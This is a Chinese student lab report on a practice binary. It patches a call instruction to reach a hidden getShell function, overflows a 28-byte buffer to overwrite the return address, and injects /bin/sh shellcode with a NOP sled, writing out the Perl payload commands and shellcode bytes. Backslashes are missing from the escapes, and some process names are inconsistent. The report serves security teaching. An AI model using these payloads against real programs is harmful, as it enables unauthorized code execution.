一、逆向及Bof基础实践说明
(一)实践目标
- 对象:一个名为pwn1的linux可执行文件。
- 流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
- 目的:该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
- 三个实践内容如下
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
- 对应现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
(二)基础知识
- 熟悉linuxi基本操作
- 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
-
理解Bof的原理
- 能看得懂汇编、机器指令、EIP、指令地址。
- 会使用gdb,vi。
- 指令、参数
- 具体运用可以及时查询,明确思路,明确自己做的每一步的原理,并及时验证
- 机器码
- NOP机器码 90。
- JNE机器码 75
- JE机器码 74
- CMP reg16/mem16,reg16 机器码 39
- CMP reg8,reg8/mem8 机器码 3A
- CMP reg16,reg16/mem16 机器码 3B
- CMP al,immed8 机器码 3C
- CMP ax,immed16 机器码 3D
- JMP rel8相对短跳转,机器码 EB
- JMP rel16相对跳转,机器码 E9
- JMP r/m16绝对跳转,机器码 FF
- JMP r/m32绝对跳转,机器码 FF
- JMP ptr1 6:16远距离绝对跳转,机器码 EA
- JMP ptr1 6:32远距离绝对跳转,机器码 EA
- JMP m16:16远距离绝对跳转,机器码 FF
- JMP m16:32远距离绝对跳转,机器码 FF
二、实验任务
(一)直接修改程序机器指令,改变程序执行流程
-
知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
-
学习目标:理解可执行文件与机器指令
-
进阶:掌握ELF文件格式,掌握动态技术
- 步骤:
- 下载目标文件pwn1,用 objdump -d pwn1 | more 反汇编程序。
-
-
- 如图,main函数中汇编指令 call 8048491 调用地址为 8048491 的 foo 函数。
- 对应的机器指令为 e8 d7ffffff 。此时EIP存放的是下条指令的地址 80484ba , e8 是跳转之意,因此CPU转而执行地址为 EIP + d7ffffff 的指令, 80484ba + d7ffffff= 80484ba-0x29=8048491 ,调用 foo 函数。
- 由此可得,想要调用 getshell ,只需修改机器指令,让CPU执行地址为 804847D 指令即可。使用windows计算器可得 47d-4ba 的补码为 c3ffffff 。因此,我们秩序将call指令的目标地址由 d7ffffff 改为 c3ffffff ,即可实现实验目标。
- 修改可执行文件
- 输入 cp pwn1 pwn4 ,备份文件。
- 输入vi pwn4 ,编辑文件。如图。
-
-
-
- 按ESC键,输入 :%!xxd ,转换为16进制。
- 输入 /e8d7 ,查找要修改的内容。
-
-
-
- 修改d7 为c3 .
-
-
-
- 输入 :%!xxd -r 转换16进制为原格式。
- 输入 :wq 存盘退出。
- 验证
- 反汇编,查看call指令是否正确调用getshell函数。
-
-
-
- 运行改之后的代码,得到shell提示符。
-
(二)通过构造输入参数,造成BOF攻击,改变程序执行流
- 原理:我们的目标是触发getshell函数,该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞。
-
- 这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,当我们输入过多的字符时,多余的字符就会覆盖掉原本留存在eip寄存器中的数值。通过计算字符串可以做到将想要的内存地址覆盖eip寄存器的值,从而跳转会转到目标函数getshell。
- 具体步骤:
- 输入 apt-get install gdb 安装调试功能。
- 输入 gdb pwn4303 进入调试,输入r后,试着输入字符,确认输入字符串哪几个字符会覆盖到返回地址。
-
-
- 如图, 0x35353535 是5555的ASCII码16进制的值; 0x34333231 是1234ASCII码16进制的值.由此可得:输入字符串的33-36字符覆盖到返回地址。因此,只需将这4个字符替换为 getshell 的内存地址,输给pwn4303,pwn4303就会运行 getshell.
- 确认用什么值并进行构造来覆盖返回地址
- 由之前的调试可得:想要跳转到调用getshell(即跳转到x7dx84x04x08),我们需要输入的就是 11111111222222223333333344444444x7dx84x04x08 。
- 构造输入字符串
- 由于有些要改写的字符串x7dx84x04x08的ASCII值里面有无法从键盘读入的字符,这时候需要借助Perl语言来代替我们生成这样符合要求的字符串重定向输出到input文件中,x0a表示回车,如果没有的话,在程序运行时需要按一下回车键。可以使用16进制查看指令
xxd
查看input文件的内容是否如预期。
- 由于有些要改写的字符串x7dx84x04x08的ASCII值里面有无法从键盘读入的字符,这时候需要借助Perl语言来代替我们生成这样符合要求的字符串重定向输出到input文件中,x0a表示回车,如果没有的话,在程序运行时需要按一下回车键。可以使用16进制查看指令
-
-
-
- 然后将input的输入,通过管道符“|”,作为文件的输入。
-
实验成功。
(三)注入Shellcode并执行
- 准备一段Shellcode
-
shellcode就是一段机器指令(code)
-
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
-
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- 以下实践即使用该文章中生成的shellcode。如下:
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
2.准备工作
- 输入 apt-get install prelink 安装设置堆栈的库并进行相应设置。
- 修改设置。
3.构造payload
- 原理:我们这个buf结构为:nops+shellcode+retaddr。 nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
- 具体步骤:
- 输入 perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode ,末尾的x4x3x2x1会覆盖到堆栈上的返回地址。
-
- 在终端1中注入这一段攻击(cat input_shellcode;cat) | ./pwn174303
-
- 打开终端2输入 ps -ef | grep pwn03 进行调试pwn03
- 发现进程号为3472
-
- 启动gdb调试进程
- 输入attach 3472调试这个进程
-
- 利用 break *0x080484ae设置断点,来查看注入buf的内存地址
- 回到终端1,回车。
-
- 回到终端2,输入c,继续。
- 输入指令 info r esp
查看查看栈顶指针所在的位置,并查看改地址存放的数据。
- 再输 x/16x 0xffffd6dc 查看指针指向的内容。
-
- x4x3x2x1在栈顶,就是返回地址的位置。因此shellcode的首地址为 0xffffd6ac+4=0xffffd6b0 。
- 修改shellcode
perl -e 'print "A" x 32;print "xb0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
- 进行注入 (cat input_shellcode;cat) | ./pwn03
,成功。
三、实验总结
- 实验收获与感想
- 本次实验收获很多。首先,熟悉了很多linux的基本操作。在实践过程中也对缓冲区溢出,堆栈结构有了进一步的理解和体会。
- 在实验过程中,出现了很多问题,花费了大量的时间完成,体会到了自己的不足,实践能力差,知识薄弱,也对自己敲响了警钟,还有很多需要学习,能力还需要加强。今后在学习过程中应该多了解,多利用网上资源学习相关知识。
2.什么是漏洞?漏洞有什么危害?
- 我认为漏洞是一个程序或者应用可能被攻击的点,有缺陷、有被攻击风险的地方。
- 漏洞可能会导致应用崩溃,造成财产损失,病毒传播,信息泄露,个人隐私和国家安全遭到破坏,还可能造成不可挽回的信息丢失等。